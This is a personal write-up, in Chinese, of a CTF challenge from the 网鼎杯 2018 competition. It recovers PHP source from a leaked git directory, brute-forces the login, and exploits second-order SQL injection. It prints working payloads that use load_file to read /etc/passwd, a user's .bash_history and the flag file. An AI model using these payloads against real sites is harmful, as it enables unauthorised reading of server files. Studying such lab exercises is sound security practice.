网鼎杯第四场comment个人笔记
0x00:题目确实好题目,学到不少东西
题目:https://github.com/CTFTraining/wdb_2018_comment
涉及git恢复 二次注入 sql注入读文件
感觉蛮多坑容易踩的
过程也看了网上其他大佬的wp,写完以后,自己来记录一下吧!
0x01:解题过程
首先扫了一下目录,然后f12看了一下控制台 发现
呐 涉及git,那就git泄露差不多了,然后看还没commit
上大佬的脚本,githacker一下,然后得到一个不完整的php文件,再进行恢复(详见博客https://www.cnblogs.com/Tkitn/p/11648456.html)
然后得到完整源码
<?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
呐 源码很简单,很明显是二次注入,category第二次提取出来的时候没有进行过滤就直接放到sql语句了
ok 来看题目。
发帖后302到这个登录页面,爆破得知密码是zhangwei666
登录以后,进行发帖。开始构造payload
$sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'";
这里也是一个坑,就是sql语句是换行的,#进行注释只能注释当前行,所以我们这里用/**/进行拼接注释。
构造6的payload,然后再在评论里 */#
则 拼接后的sql语句就是这样
$sql = "insert into comment set category = '123',content=user(),/*', content = '*/#', bo_id = '$bo_id'";
这里
/*', content = '*/#',
被注释了,语句仍然是正常的sql语句。
提交成功则是这样
然后开始读文件 找flag
这里学习了一下其他师傅的思路,很棒
看history文件
首先常规的读文件payload:123',content=(select( load_file('/etc/passwd'))),/*
看到www用户的目录:
然后读history文件:/home/www/.bash_history
在/tmp/html下有个.DS_Store文件
查看他
发现长度不够,那咱们hex编码显示
payload: ', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
网上随便找个在线解码得到文件完整内容,发现文件名!flag_8946e1ff1ee3e40f.php。不过这个文件是从/var/www/html目录中copy过来的,我们回到/var/www/html中读取flag。不过发现并没有读取成功。想了一下,可能是因为文件过大。继续用hex编码,成功得到flag。 payload:', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*